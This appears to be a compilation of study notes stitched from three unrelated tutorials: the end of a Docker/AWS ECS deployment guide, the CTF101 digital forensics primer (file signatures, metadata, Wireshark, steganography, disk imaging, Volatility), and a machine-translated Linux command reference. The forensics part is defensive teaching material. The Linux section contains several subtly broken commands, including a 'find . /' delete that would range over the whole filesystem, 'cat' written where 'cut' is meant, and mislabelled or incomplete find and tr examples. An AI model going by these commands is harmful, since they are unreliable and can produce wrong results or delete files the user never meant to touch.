+INFO[0000] Using recommended Amazon Linux 2 AMI with ECS Agent 1.39.0 and Docker version 18.09.9-ce
+INFO[0000] Created cluster cluster=foodtrucks
+INFO[0001] Waiting for your cluster resources to be created
+INFO[0001] Cloudformation stack status stackStatus=CREATE_IN_PROGRESS
+INFO[0062] Cloudformation stack status stackStatus=CREATE_IN_PROGRESS
+INFO[0122] Cloudformation stack status stackStatus=CREATE_IN_PROGRESS
+INFO[0182] Cloudformation stack status stackStatus=CREATE_IN_PROGRESS
+INFO[0242] Cloudformation stack status stackStatus=CREATE_IN_PROGRESS
+VPC created: vpc-0bbed8536930053a6
+Security Group created: sg-0cf767fb4d01a3f99
+Subnet created: subnet-05de1db2cb1a50ab8
+Subnet created: subnet-01e1e8bc95d49d0fd
+Cluster creation succeeded.
+
+Here we provide the name of the keypair we downloaded initially (ecs
in my case), the number of instances that we want to use (--size
) and the type of instances that we want the containers to run on. The --capability-iam
flag tells the CLI that we acknowledge that this command may create IAM resources.
The last and final step is where we'll use our docker-compose.yml
file. We'll need to make a few minor changes, so instead of modifying the original, let's make a copy of it. The contents of this file (after making the changes) look like (below) -
version: '2'
+services:
+ es:
+ image: docker.elastic.co/elasticsearch/elasticsearch:7.6.2
+ cpu_shares: 100
+ mem_limit: 3621440000
+ environment:
+ - discovery.type=single-node
+ - bootstrap.memory_lock=true
+ - "ES_JAVA_OPTS=-Xms512m -Xmx512m"
+ logging:
+ driver: awslogs
+ options:
+ awslogs-group: foodtrucks
+ awslogs-region: us-east-1
+ awslogs-stream-prefix: es
+ web:
+ image: yourusername/foodtrucks-web
+ cpu_shares: 100
+ mem_limit: 262144000
+ ports:
+ - "80:5000"
+ links:
+ - es
+ logging:
+ driver: awslogs
+ options:
+ awslogs-group: foodtrucks
+ awslogs-region: us-east-1
+ awslogs-stream-prefix: web
+
+The only changes we made from the original docker-compose.yml
are of providing the mem_limit
(in bytes) and cpu_shares
values for each container and adding some logging configuration. This allows us to view logs generated by our containers in AWS CloudWatch. Head over to CloudWatch to create a log group called foodtrucks
. Note that since ElasticSearch typically ends up taking more memory, we've given around 3.4 GB of memory limit. Another thing we need to do before we move onto the next step is to publish our image on Docker Hub.
$ docker push yourusername/foodtrucks-web
+
+Great! Now let's run the final command that will deploy our app on ECS!
+$ cd aws-ecs
+$ ecs-cli compose up
+INFO[0000] Using ECS task definition TaskDefinition=ecscompose-foodtrucks:2
+INFO[0000] Starting container... container=845e2368-170d-44a7-bf9f-84c7fcd9ae29/es
+INFO[0000] Starting container... container=845e2368-170d-44a7-bf9f-84c7fcd9ae29/web
+INFO[0000] Describe ECS container status container=845e2368-170d-44a7-bf9f-84c7fcd9ae29/web desiredStatus=RUNNING lastStatus=PENDING taskDefinition=ecscompose-foodtrucks:2
+INFO[0000] Describe ECS container status container=845e2368-170d-44a7-bf9f-84c7fcd9ae29/es desiredStatus=RUNNING lastStatus=PENDING taskDefinition=ecscompose-foodtrucks:2
+INFO[0036] Describe ECS container status container=845e2368-170d-44a7-bf9f-84c7fcd9ae29/es desiredStatus=RUNNING lastStatus=PENDING taskDefinition=ecscompose-foodtrucks:2
+INFO[0048] Describe ECS container status container=845e2368-170d-44a7-bf9f-84c7fcd9ae29/web desiredStatus=RUNNING lastStatus=PENDING taskDefinition=ecscompose-foodtrucks:2
+INFO[0048] Describe ECS container status container=845e2368-170d-44a7-bf9f-84c7fcd9ae29/es desiredStatus=RUNNING lastStatus=PENDING taskDefinition=ecscompose-foodtrucks:2
+INFO[0060] Started container... container=845e2368-170d-44a7-bf9f-84c7fcd9ae29/web desiredStatus=RUNNING lastStatus=RUNNING taskDefinition=ecscompose-foodtrucks:2
+INFO[0060] Started container... container=845e2368-170d-44a7-bf9f-84c7fcd9ae29/es desiredStatus=RUNNING lastStatus=RUNNING taskDefinition=ecscompose-foodtrucks:2
+
+It's not a coincidence that the invocation above looks similar to the one we used with Docker Compose. If everything went well, you should see a desiredStatus=RUNNING lastStatus=RUNNING
as the last line.
Awesome! Our app is live, but how can we access it?
+ecs-cli ps
+Name State Ports TaskDefinition
+845e2368-170d-44a7-bf9f-84c7fcd9ae29/web RUNNING 54.86.14.14:80->5000/tcp ecscompose-foodtrucks:2
+845e2368-170d-44a7-bf9f-84c7fcd9ae29/es RUNNING ecscompose-foodtrucks:2
+
+Go ahead and open http://54.86.14.14 in your browser and you should see the Food Trucks in all its black-yellow glory! Since we're on the topic, let's see how our AWS ECS console looks.
++ +
We can see above that our ECS cluster called 'foodtrucks' was created and is now running 1 task with 2 container instances. Spend some time browsing this console to get a hang of all the options that are here.
+Once you've played around with the deployed app, remember to turn down the cluster -
+$ ecs-cli down --force
+INFO[0001] Waiting for your cluster resources to be deleted...
+INFO[0001] Cloudformation stack status stackStatus=DELETE_IN_PROGRESS
+INFO[0062] Cloudformation stack status stackStatus=DELETE_IN_PROGRESS
+INFO[0124] Cloudformation stack status stackStatus=DELETE_IN_PROGRESS
+INFO[0155] Deleted cluster cluster=foodtrucks
+
+So there you have it. With just a few commands we were able to deploy our awesome app on the AWS cloud!
+And that's a wrap! After a long, exhaustive but fun tutorial you are now ready to take the container world by storm! If you followed along till the very end then you should definitely be proud of yourself. You learned how to setup Docker, run your own containers, play with static and dynamic websites and most importantly got hands on experience with deploying your applications to the cloud!
+I hope that finishing this tutorial makes you more confident in your abilities to deal with servers. When you have an idea of building your next app, you can be sure that you'll be able to get it in front of people with minimal effort.
+Your journey into the container world has just started! My goal with this tutorial was to whet your appetite and show you the power of Docker. In the sea of new technology, it can be hard to navigate the waters alone and tutorials such as this one can provide a helping hand. This is the Docker tutorial I wish I had when I was starting out. Hopefully, it served its purpose of getting you excited about containers so that you no longer have to watch the action from the sides.
+Below are a few additional resources that will be beneficial. For your next project, I strongly encourage you to use Docker. Keep in mind - practice makes perfect!
+Additional Resources
+ +Off you go, young padawan!
+Now that the tutorial is over, it's my turn to ask questions. How did you like the tutorial? Did you find the tutorial to be a complete mess or did you have fun and learn something?
+Send in your thoughts directly to me or just create an issue. I'm on Twitter, too, so if that's your deal, feel free to holler there!
+I would totally love to hear about your experience with this tutorial. Give suggestions on how to make this better or let me know about my mistakes. I want this tutorial to be one of the best introductory tutorials on the web and I can't do it without your help.
+ + + + + + + + +++https://ctf101.org/forensics
+
Forensics is the art of recovering the digital trail left on a computer. There are plenty of methods to find data that is seemingly deleted, not stored, or worse, covertly recorded.
+An important part of Forensics is having the right tools, as well as being familiar with the following topics:
+File Extensions are not the sole way to identify the type of a file, files have certain leading bytes called file signatures which allow programs to parse the data consistently. Files can also contain additional "hidden" data called metadata which can be useful in finding out information about the context of a file's data.
+File signatures (also known as File Magic Numbers) are bytes within a file used to identify the format of the file. Generally, they’re 2-4 bytes long, found at the beginning of a file.
+Files can sometimes come without an extension, or with incorrect ones. We use file signature analysis to identify the format (file type) of the file. Programs need to know the file type to open properly.
+You need to be able to look at the binary data that constitutes the file you’re examining. To do this, you’ll use a hexadecimal editor. Once you find the file signature, you can check it against file signature repositories such as Gary Kessler’s.
+The file above, when opened in a Hex Editor, begins with the bytes FFD8FFE0 00104A46 494600
or in ASCII ˇÿˇ‡ JFIF
where \x00
and \x10
lack symbols.
Searching in Gary Kessler’s database shows that this file signature belongs to a JPEG/JFIF graphics file
, exactly what we suspect.
Metadata is data about data. Different types of files have different metadata. The metadata on a photo could include dates, camera information, GPS location, comments, etc. For music, it could include the title, author, track number, and album.
+Potentially, any file metadata you can find could be useful.
+++EXIF Data is metadata attached to photos which can include location, time, and device information.
+
One of our favorite tools is ExifTool, which displays metadata for an input file, including: - File size - Dimensions (width and height) - File type - Programs used to create (e.g. Photoshop) - OS used to create (e.g. Apple)
+Run command line: exiftool(-k).exe [filename]
and you should see something like this:
Let's take a look at File A's metadata with ExifTool:
+File type
+ +Image description
+ +Make and camera info
+ +GPS Latitude/Longitude
+ +Timestamps are data that indicate the time of certain events (MAC): - Modification – when a file was modified - Access – when a file or entries were read or accessed - Creation – when files or entries were created
+Certain events such as creating, moving, copying, opening, editing, etc. might affect the MAC times. If the MAC timestamps can be attained, a timeline of events could be created.
+There are plenty more patterns than the ones introduced below, but these are the basics you should start with to get a good understanding of how it works, and to complete this challenge.
++
We know that the BMP files fileA and fileD are the same, but that the JPEG files fileB and fileC are different somehow. So how can we find out what went on with these files?
+ +By using time stamp information from the file system, we can learn that the BMP fileD was the original file, with fileA being a copy of the original. Afterward, fileB was created by modifying fileB, and fileC was created by modifying fileA differently.
+Follow along as we demonstrate.
+We’ll start by analyzing images in AccessData FTK Imager, where there’s a Properties window that shows you some information about the file or folder you’ve selected.
++
Here are the extracted MAC times for fileA, fileB, fileC, and fileD: Note, AccessData FTK Imager assumes that the file times on the drive are in UTC (Universal Coordinated Time). I subtracted four hours since the USB was set up in Eastern Standard Time. This isn’t necessary, but it helps me understand the times a bit better.
+ +Highlight timestamps that are the same, if timestamps are off by a few seconds, they should be counted as the same. This lets you see a clear difference between different timestamps. Then, highlight oldest to newest to help put them in order.
++
Identify timestamp patterns.
+ +Wireshark is a network protocol analyzer that is often used in CTF challenges to look at recorded network traffic. Wireshark uses a file type called PCAP to record traffic. PCAPs are often distributed in CTF challenges to provide recorded traffic history.
+Upon opening Wireshark, you are greeted with the option to open a PCAP or begin capturing network traffic on your device.
+ +The network traffic displayed initially shows the packets in the order in which they were captured. You can filter packets by protocol, source IP address, destination IP address, length, etc.
+ +To apply filters, simply enter the constraining factor, for example, 'http', in the display filter bar.
+ +Filters can be chained together using the '&&' notation. To filter by IP, ensure a double equals '==' is used.
+ +The most pertinent part of a packet is its data payload and protocol information.
+ +By default, Wireshark cannot decrypt SSL traffic on your device unless you grant it specific certificates.
+For a network session to be encrypted properly, the client and server must share a common secret that they can use to encrypt and decrypt data without someone in the middle being able to guess. The SSL Handshake loosely follows this format:
+There are several ways to be able to decrypt traffic.
+Steganography is the practice of hiding data in plain sight. Steganography is often embedded in images or audio.
+You could send a picture of a cat to a friend and hide text inside. Looking at the image, there’s nothing to make anyone think there’s a message hidden inside it.
+ +You could also hide a second image inside the first.
+ +So we can hide text and an image, how do we find out if there is hidden data?
+ +FileA and FileD appear the same, but they’re different. Also, FileD was modified after it was copied, so it’s possible there might be steganography in it.
+FileB and FileC don’t appear to have been modified after being created. That doesn’t rule out the possibility that there’s steganography in them, but you’re more likely to find it in fileD. This brings up two questions:
+Files are made of bytes. Each byte is composed of eight bits.
+ +Changing the least-significant bit (LSB) doesn’t change the value very much.
+ +So we can modify the LSB without changing the file noticeably. By doing so, we can hide a message inside.
+LSB Stegonagraphy or Least Significant Bit Stegonagraphy is a method of steganography where data is recorded in the lowest bit of a byte.
+Say an image has a pixel with an RGB value of (255, 255, 255), the bits of those RGB values will look like
+1 | +1 | +1 | +1 | +1 | +1 | +1 | +1 | +
---|---|---|---|---|---|---|---|
+ | + | + | + | + | + | + | + |
By modifying the lowest, or least significant, bit, we can use the 1-bit space across every RGB value for every pixel to construct a message.
+1 | +1 | +1 | +1 | +1 | +1 | +1 | +0 | +
---|---|---|---|---|---|---|---|
+ | + | + | + | + | + | + | + |
The reason steganography is hard to detect by sight is that a 1-bit difference in color is insignificant as seen below.
+ +Let’s say we have an image, and part of it contains the following binary:
+ +And let’s say we want to hide the character y inside.
+First, we need to convert the hidden message to binary.
+ +Now we take each bit from the hidden message and replace the LSB of the corresponding byte with it.
+ +And again:
+ +And again:
+ +And again:
+ +And again:
+ +And again:
+ +And again:
+ +And once more:
+ +Decoding LSB steganography is exactly the same as encoding, but in reverse. For each byte, grab the LSB and add it to your decoded message. Once you’ve gone through each byte, convert all the LSBs you grabbed into text or a file. (You can use your file signature knowledge here!)
+Steganography is hard for the defense side because there’s practically an infinite number of ways it could be carried out. Here are a few examples: - LSB steganography: different bits, different bit combinations - Encode in every certain number of bytes - Use a password - Hide in different places - Use encryption on top of steganography.
+A forensic image is an electronic copy of a drive (e.g. a hard drive, USB, etc.). It’s a bit-by-bit or bitstream file that’s an exact, unaltered copy of the media being duplicated.
+Wikipedia said that the most straightforward disk imaging method is to read a disk from start to finish and write the data to a forensics image format. “This can be a time-consuming process, especially for disks with a large capacity,” Wikipedia said.
+To prevent write access to the disk, you can use a write blocker. It’s also common to calculate a cryptographic hash of the entire disk when imaging it. “Commonly-used cryptographic hashes are MD5, SHA1, and/or SHA256,” said Wikipedia. “By recalculating the integrity hash at a later time, one can determine if the data in the disk image has been changed. This by itself does not protect against intentional tampering, but it can indicate that the data was altered, e.g. due to corruption.”
+Why image a disk? Forensic imaging: - Prevents tampering with the original data evidence - Allows you to play around with the copy, without worrying about messing up the original
+This example uses the tool AccessData FTK Imager.
+Step 1: Go to File > Create Disk Image
Step 2: Select Physical Drive
, because the USB or hard drive you’re imaging is a physical device or drive.
Step 3: Select the drive you’re imaging. The 1000 GB is my computer hard drive; the 128 MB is the USB that I want to image.
+ +Step 4: Add a new image destination
+ +Step 5: Select whichever image type you want. Choose Raw (dd)
if you’re a beginner, since it’s the most common type
Step 6: Fill in all the evidence information
+ +Step 7: Choose where you want to store it
+ +Step 8: The image destination has been added. Now you can start the image extraction
+ +Step 9: Wait for the image to be extracted
+ +Step 10: This is the completed extraction
+ +Step 11: Add the image you just created so that you can view it
+ +Step 12: This time, choose the image file, since that’s what you just created
+ +Step 13: Enter the path of the image you just created
+ +Step 14: View the image.
+Step 15: To view files in the USB, go to Partition 1 > [USB name] > [root]
in the Evidence Tree and look in the File List
Step 16: Selecting fileA, fileB, fileC, or fileD gives us some properties of the files & a preview of each photo
+ +Step 17: Extract files of interest for further analysis by selecting, right-clicking, and choosing Export Files
There are plenty of traces of someone's activity on a computer, but perhaps some of the most valuable information can be found within memory dumps, that is images taken of RAM. These dumps of data are often very large but can be analyzed using a tool called Volatility
+Memory forensics isn't all that complicated, the hardest part would be using your toolset correctly. A good workflow is as follows:
+strings
for cluesTo properly use Volatility you must supply a profile with --profile=PROFILE
, therefore before any sleuthing, you need to determine the profile using imageinfo:
$ python vol.py -f ~/image.raw imageinfo
+Volatility Foundation Volatility Framework 2.4
+Determining profile based on KDBG search...
+
+ Suggested Profile(s) : Win7SP0x64, Win7SP1x64, Win2008R2SP0x64, Win2008R2SP1x64
+ AS Layer1 : AMD64PagedMemory (Kernel AS)
+ AS Layer2 : FileAddressSpace (/Users/Michael/Desktop/win7_trial_64bit.raw)
+ PAE type : PAE
+ DTB : 0x187000L
+ KDBG : 0xf80002803070
+ Number of Processors : 1
+ Image Type (Service Pack) : 0
+ KPCR for CPU 0 : 0xfffff80002804d00L
+ KUSER_SHARED_DATA : 0xfffff78000000000L
+ Image date and time : 2012-02-22 11:29:02 UTC+0000
+ Image local date and time : 2012-02-22 03:29:02 -0800
+
+To view processes, the pslist
or pstree
, or psscan
command can be used.
$ python vol.py -f ~/image.raw pslist --profile=Win7SP0x64 pstree
+Volatility Foundation Volatility Framework 2.5
+Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit
+------------------ -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------
+0xffffa0ee12532180 System 4 0 108 0 ------ 0 2018-04-22 20:02:33 UTC+0000
+0xffffa0ee1389d040 smss.exe 232 4 3 0 ------ 0 2018-04-22 20:02:33 UTC+0000
+...
+0xffffa0ee128c6780 VBoxTray.exe 3324 1123 10 0 1 0 2018-04-22 20:02:55 UTC+0000
+0xffffa0ee14108780 OneDrive.exe 1422 1123 10 0 1 1 2018-04-22 20:02:55 UTC+0000
+0xffffa0ee14ade080 svchost.exe 228 121 1 0 1 0 2018-04-22 20:14:43 UTC+0000
+0xffffa0ee1122b080 notepad.exe 2019 1123 1 0 1 0 2018-04-22 20:14:49 UTC+0000
+
+Dumping the memory of a process can prove to be fruitful, say we want to dump the data from notepad.exe:
+$ python vol.py -f ~/image.raw --profile=Win7SP0x64 memdump -p 2019 -D dump/
+Volatility Foundation Volatility Framework 2.4
+************************************************************************
+Writing System [ 2019] to 2019.dmp
+
+$ ls -alh dump/2019.dmp
+-rw-r--r-- 1 user staff 111M Apr 22 20:47 dump/2019.dmp
+
+There are plenty of commands that Volatility offers but some highlights include:
+$ python vol.py -f IMAGE --profile=PROFILE connections
: view network connections$ python vol.py -f IMAGE --profile=PROFILE cmdscan
: view commands that were run in cmd promptA hexadecimal (hex) editor (also called a binary file editor or byte editor) is a computer program you can use to manipulate the fundamental binary data that constitutes a computer file. The name “hex” comes from “hexadecimal,” a standard numerical format for representing binary data. A typical computer file occupies multiple areas on the platter(s) of a disk drive, whose contents are combined to form the file. Hex editors that are designed to parse and edit sector data from the physical segments of floppy or hard disks are sometimes called sector editors or disk editors. A hex editor is used to see or edit the raw, exact contents of a file. Hex editors may be used to correct data corrupted by a system or application. A list of editors can be found on the forensics Wiki. You can download one and install it on your system.
+Open fileA.jpg in a hex editor. (Most Hex editors have either a “File > Open” option or a simple drag and drop.)
+ +When you open fileA.jpg in your hex editor, you should see something similar to this:
+ +Your hex editor should also have a “go to” or “find” feature so you can jump to a specific byte.
+ + + + + + + + +++https://linuxtools-rst.readthedocs.io/zh_CN/latest/base/index.html
+https://www.tutorialspoint.com/unix/index.htm
+https://www.digitalocean.com/community/tutorials/an-introduction-to-linux-basics
+
The Unix operating system is a set of programs that act as a link between the computer and the user.
+The computer programs that allocate the system resources and coordinate all the details of the computer's internals are called the operating system or the kernel.
+Users communicate with the kernel through a program known as the shell. The shell is a command line interpreter; it translates commands entered by the user and converts them into a language that is understood by the kernel.
+To follow along with this guide, you will need access to a computer running a Linux-based operating system. This can either be a virtual private server that you’ve connected to with SSH or your local machine. Note that this tutorial was validated using a Linux server running Ubuntu 20.04, but the examples given should work on a computer running any version of any Linux distribution.
+If you plan to use a remote server to follow this guide, we encourage you to first complete our Initial Server Setup guide. Doing so will set you up with a secure server environment — including a non-root user with sudo
privileges and a firewall configured with UFW — which you can use to build your Linux skills.
The terms “terminal,” “shell,” and “command line interface” are often used interchangeably, but there are subtle differences between them:
+When someone refers to one of these three terms in the context of Linux, they generally mean a terminal environment where you can run commands and see the results printed out to the terminal, such as this:
+ +Becoming a Linux expert requires you to be comfortable with using a terminal. Any administrative task, including file manipulation, package installation, and user management, can be accomplished through the terminal. The terminal is interactive: you specify commands to run and the terminal outputs the results of those commands. To execute any command, you type it into the prompt and press ENTER
.
When accessing a cloud server, you’ll most often be doing so through a terminal shell. Although personal computers that run Linux often come with the kind of graphical desktop environment familiar to most computer users, it is often more efficient or practical to perform certain tasks through commands entered into the terminal.
+In the linux terminal, when we don't know how to use a command, or don't remember the spelling of a command or its parameters, we need to turn to the system's help documentation; the built-in help documentation in linux is very detailed and usually solves our problems, so we need to know how to use it properly.
+These commands are described below.
+A brief description of what the command does (showing the man category page where the command is located):
+$whatis command
+
+Regular match:
+$whatis -w "loca*"
+
+More detailed documentation:
+$info command
+
+Query the documentation for the command command:
+$man command
+eg: man date
+
+Using page up and page down to page up and down
+In the man help manual, the help documentation is divided into 9 categories, for some keywords that may exist in more than one category, we need to specify a specific category to view; (generally, we query the bash command, categorized in category 1).
+man page belongs to the category identification (commonly used is category 1 and category 3)
+(1), the user can operate the command or executable file
+(2), the core of the system can be called functions and tools, etc.
+(3), some common functions and databases
+(4), the description of the device file
+(5), the format of the settings file or some files
+(6), games
+(7), conventions and protocols, etc. For example, the Linux standard file system, network protocols, ASCII, code and other descriptions of the content
+(8), the system administrator available to manage the order
+(9), and kernel-related files
+
+As mentioned earlier using whatis will show the specific document category where the command is located, we learn how to use it
+eg:
+$whatis printf
+printf (1) - format and print data
+printf (1p) - write formatted output
+printf (3) - formatted output conversion
+printf (3p) - print formatted output
+printf [builtins] (1) - bash built-in commands, see bash(1)
+
+We see that printf is available in both category 1 and category 3; the pages in category 1 are for help on command operations and executables; while 3 is for instructions on commonly used libraries; if we want to see the use of printf in C, we can specify to see the help in category 3:
+$man 3 printf
+
+$man -k keyword
+
+query keyword Query commands based on some of the keywords in the command, for occasions when only part of the command is remembered.
+eg: Find GNOME's config tool command:
+$man -k GNOME config| grep 1
+
+For a word search, you can use /word directly to use: /-a; pay more attention to SEE ALSO to see more exciting content
+Check the path to the program's binary file:
+$which command
+
+eg: Find the path where the make program is installed:
+$which make
+/opt/app/openav/soft/bin/make install
+
+Check the search path of the program:
+$whereis command
+
+This command comes in handy when there are multiple versions of the same software installed on the system and you are not sure which version is being used.
+Directory
+File management is nothing more than creating, deleting, querying, and moving files or directories, with mkdir/rm/mv
+file query as the focus, with found for query; find is parameter rich and very powerful.
+viewing file content is a big topic, and there are too many tools for us to use for text processing, which are just pointed out in this chapter, and a special chapter will be devoted to text processing tools later.
+Sometimes it is necessary to create an alias for a file, and we need to use ln, using this alias has the same effect as using the original file.
+View the number of files in the current directory:
+$find . / | wc -l
+
+Copy the directory:
+$cp -r source_dir dest_dir
+
+The above command is used so often that we need to create a shortcut for it:
+Set the command alias in .bashrc:
+alias lsl='ls -lrt'
+alias lm='ls -al|more'
+
+so that, using lsl, the files in the directory can be displayed sorted by modification time; in a list.
+> ls | cat -n
+
+> 1 a 2 a.out 3 app 4 b 5 bin 6 config
+Note: .bashrc is stored as a hidden file under the /home/your username/ folder; you can check it with ls -a.
+Search for a file or directory:
+$find . / -name "core*" | xargs file
+
+Find if there is an obj file in the target folder:
+$find . / -name '*.o'
+
+Recursively delete all .o files in the current directory and subdirectories:
+$find . / -name "*.o" -exec rm {} \;
+
+find is a real-time lookup, if you need a faster query, try locate; locate will create an index database for the file system, if there are file updates, you need to execute the update command periodically to update the index database:
+$locate string
+
+Find paths that contain string:
+$updatedb
+
+Unlike find, locate is not a real-time lookup. You need to update the database to get the latest file index information.
+To view the file: cat vi head tail more
Display the file with the line number:
+$cat -n
+
+Show list contents by page:
+$ls -al | more
+
+See only the first 10 lines:
+$head - 10 **
+
+Show the first line of the file:
+$head -1 filename
+
+Show the penultimate line of the file:
+$tail -5 filename
+
+See the difference between the two files:
+$diff file1 file2
+
+Dynamically display the latest information in the text:
+$tail -f crawler.log
+
+Use egrep to query the contents of a file:
+egrep '03.1\/CO\/AE' TSF_STAT_111130.log.012
+egrep 'A_LMCA777:C' TSF_STAT_111130.log.035 > co.out2
+
+Create symbolic/hard links:
+ln cc ccAgain :hard link; delete one, will still be found.
+ln -s cc ccTo :symbolic link (soft link); delete the source, the other will not be available; (the latter ccTo is a newly created file)
+
+ls /proc && echo suss! || echo failed.
+
+The ability to indicate whether the named execution succeeded OR failed.
+The same effect as above is :
+if ls /proc; then echo suss; else echo failed; fi
+
+Redirect:
+ls proc/*.c > list 2> &l Redirects standard output and standard errors to the same file.
+
+The equivalent is :
+ls proc/*.c &> list
+
+Clear the file:
+:> a.txt
+
+Redirect:
+echo aa >> a.txt
+
+automatically executed after starting the account is the file .profile, through which you can then set your own environment variables.
+The path of the installed software usually needs to be added to the path:
+PATH=$APPDIR:/opt/app/soft/bin:$PATH:/usr/local/bin:$TUXDIR/bin:$ORACLE_HOME/bin;export PATH
+
+Shortcut keys:
+Ctl-U deletes all characters from the cursor to the beginning of the line, and in some settings, the entire line
+Ctl-W deletes the characters between the current cursor and the nearest preceding space
+Ctl-H backspace, delete the character in front of the cursor
+Ctl-R match the closest file and output
+
+Find the total number of records in record.log that contain AAA, but not BBB:
+cat -v record.log | grep AAA | grep -v BBB | wc -l
+
+Directory
+This section will introduce the most commonly used tools for working with text in the shell under Linux: find, grep, xargs, sort, uniq, tr, cut, paste, wc, sed, awk; the examples and arguments provided are all commonly used; my rule for shell scripts is to write a single line of command, try not to exceed 2 lines; if there are more more complex tasks, consider python.
+find txt and pdf files:
+find . \( -name "*.txt" -o -name "*.pdf" \) -print
+
+regular way to find .txt and pdf:
+find . -regex ". *\(\.txt|\.pdf\)$"
+
+-iregex: ignore case-sensitive regularity
+Negate arguments , find all non-txt text:
+find . ! -name "*.txt" -print
+
+Specify the search depth, print out the files in the current directory (depth 1):
+find . -maxdepth 1 -type f
+
+find . -type d -print // list all directories only
+
+-type f files / l symbolic links / d directories
+the file search types supported by find can distinguish between ordinary files and symbolic links, directories, etc., but binary and text files cannot be distinguished directly by the types of find
+The file command can check the specific type of file (binary or text):
+$file redis-cli # binary file
+redis-cli: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.9, not stripped
+$file redis.pid # Text file
+redis.pid: ASCII text
+redis.pid: ASCII text
+
+So, you can use the following combination of commands to find all the binary files in your local directory:
+ls -lrt | awk '{print $9}'|xargs file|grep ELF| awk '{print $1}'|tr -d ':'
+
+Search by time
+-atime access time (in days, or -amin in minutes, similar below) -mtime modification time (content was modified) -ctime change time (metadata or permission changes)
+All files that have been accessed in the last 7 days:
+find . -atime 7 -type f -print
+
+All files that have been accessed in the last 7 days:
+find . -atime -7 -type f -print
+
+Search for all files accessed 7 days ago:
+find . -atime +7 type f -print
+
+w word k M G Find files larger than 2k:
+find . -type f -size +2k
+
+Find by permissions:
+find . -type f -perm 644 -print //find all files with executable permissions
+
+Find by user:
+find . -type f -user weber -print// Find files owned by user weber
+
+Delete all swp files in the current directory:
+find . -type f -name "*.swp" -delete
+
+Another syntax:
+find . type f -name "*.swp" | xargs rm
+
+Change the ownership of the current directory to weber:
+find . -type f -user root -exec chown weber {} \;
+
+Note: {} is a special string, and for each matching file, {} is replaced with the corresponding filename.
+Copy all the files found to another directory:
+find . -type f -mtime +10 -name "*.txt" -exec cp {} OLD \;
+
+If you need to execute multiple commands subsequently, you can write multiple commands as one script. Then just execute the script when -exec is called:
+-exec . /commands.sh {} \;
+
+Use '\n' as the delimiter for the file by default.
+-print0 uses '\0' as the file delimiter so that it can search for files containing spaces.
+grep match_patten file // default access to matching lines
+
+Common parameters
+-o only output matching text lines VS -v only output text lines that do not match
+-c counts the number of times the file contains text
+grep -c "text" filename
+
+-n Print matching line numbers
+-i Ignore case when searching
+-l prints only the file name
+Recursive search for text in multi-level directories (a favorite of programmers searching for code):
+grep "class" . -R -n
+
+Match multiple patterns:
+grep -e "class" -e "vitural" file
+
+grep output file names with a 0 as the ending character (-z):
+grep "test" file* -lZ| xargs -0 rm
+
+Comprehensive application: find all sql lookups with where conditions in the log:
+cat LOG.* | tr a-z A-Z | grep "FROM " | grep "WHERE" > b
+
+find Chinese example: project directory in utf-8 format and gb2312 format two kinds of files, to find the word is Chinese.
+find out its utf-8 encoding and gb2312 encoding are E4B8ADE69687 and D6D0CEC4 respectively
+query :
+ grep: grep -rnP "\xE4\xB8\xAD\xE6\x96\x87|\xD6\xD0\xCE\xC4" * can be
+
+Chinese character code lookup: http://bm.kdd.cc/
+xargs is able to convert input data into command line arguments for a specific command; in this way, it can be used in combination with many commands. e.g. grep, e.g. find; - Converting multi-line output to single-line output
+cat file.txt| xargs
n is a delimiter between multiple lines of text
+cat single.txt | xargs -n 3
+
+-n: specifies the number of fields to display per line
+Description of xargs parameters
+-d defines the delimiter (the default is a space. The delimiter for multiple lines is n) +-n specifies that the output is multi-line +-I {} specifies the replacement string that will be replaced when xargs is expanded, used when the command to be executed requires multiple arguments +-0: specify 0 as input delimiter
+Example:
+cat file.txt | xargs -I {} . /command.sh -p {} -1
+
+# Count the number of lines in the program
+find source_dir/ -type f -name "*.cpp" -print0 |xargs -0 wc -l
+
+#redis stores data by string and indexes by set, and needs to look up all values by index.
+. /redis-cli smembers $1 | awk '{print $1}'|xargs -I {} . /redis-cli get {}
+
+Field Description
+-n Sort by number VS -d Sort by dictionary order +-r Sort in reverse order +-k N specifies sorting by column N
+Example:
+sort -nrk 1 data.txt
+sort -bd data // ignore leading whitespace characters like spaces
+
+sort unsort.txt | uniq
+
+sort unsort.txt | uniq -c
+
+sort unsort.txt | uniq -d
+
+You can specify the duplicates to be compared in each line: -s start position -w number of characters to compare
+echo 12345 | tr '0-9' '9876543210' // encryption and decryption conversion, replacing the corresponding characters
+cat text| tr '\t' ' ' //tab to space conversion
+
+cat file | tr -d '0-9' // delete all numbers
+
+-c find the complement
+cat file | tr -c '0-9' // Get all the numbers in the file
+cat file | tr -d -c '0-9 \n' // delete non-numeric data
+
+tr -s compresses repetitive characters in text; most often used to compress extra spaces:
+cat file | tr -s ' '
+
+Character classes
+Various character classes are available in tr.
+alnum: letters and numbers alpha: letters digit: numbers space: blank characters lower: lowercase upper: uppercase cntrl: control (non-printable) characters print: printable characters
+Usage: tr [:class:] [:class:]
+tr '[:lower:]' '[:upper:]'
+
+cut -f2,4 filename
+
+cut -f3 --complement filename
+
+-d Specify delimiters
+cat -f2 -d";" filename
+
+-cut The range to take
+N - Nth field to the end -M 1st field for MN-M N to M fields
+
+The unit to be fetched by cut
+-b in bytes -c in characters -f in fields (using delimiters)
+Example:
+cut -c1-5 file // print first to 5 characters
+cut -c-2 file //Print the first 2 characters
+
+Truncate columns 5 to 7 of the text
+$echo string | cut -c5-7
+
+Splices two pieces of text together by column;
+cat file1
+1
+2
+
+cat file2
+colin
+book
+
+paste file1 file2
+1 colin
+2 book
+
+The default delimiter is tab, you can use -d to specify the delimiter:
+paste file1 file2 -d ","
+1,colin
+2,book
+
+$wc -l file // count the number of lines
+
+$wc -w file // count the number of words
+
+$wc -c file // count the number of characters
+
+sed 's/text/replace_text/' file // Replace the first matching text on each line
+
+sed 's/text/replace_text/g' file
+
+Default replace, output the replaced content, if you need to replace the original file directly, use -i:
+sed -i 's/text/repalce_text/g' file
+
+sed '/^$/d' file
+
+Matched strings are referenced by the & marker.
+echo this is en example | sed 's/\w+/[&]/g'
+$>[this] [is] [en] [example]
+
+The contents of the first matching bracket are referenced using token 1
+sed 's/hello\([0-9]\)/\1/'
+
+sed is usually quoted in single quotes; double quotes can also be used, and when used, double quotes will evaluate the expression:
+sed 's/$var/HLLOE/'
+
+when using double quotes, we can specify variables in sed style and in replacement strings.
+eg:
+p=patten
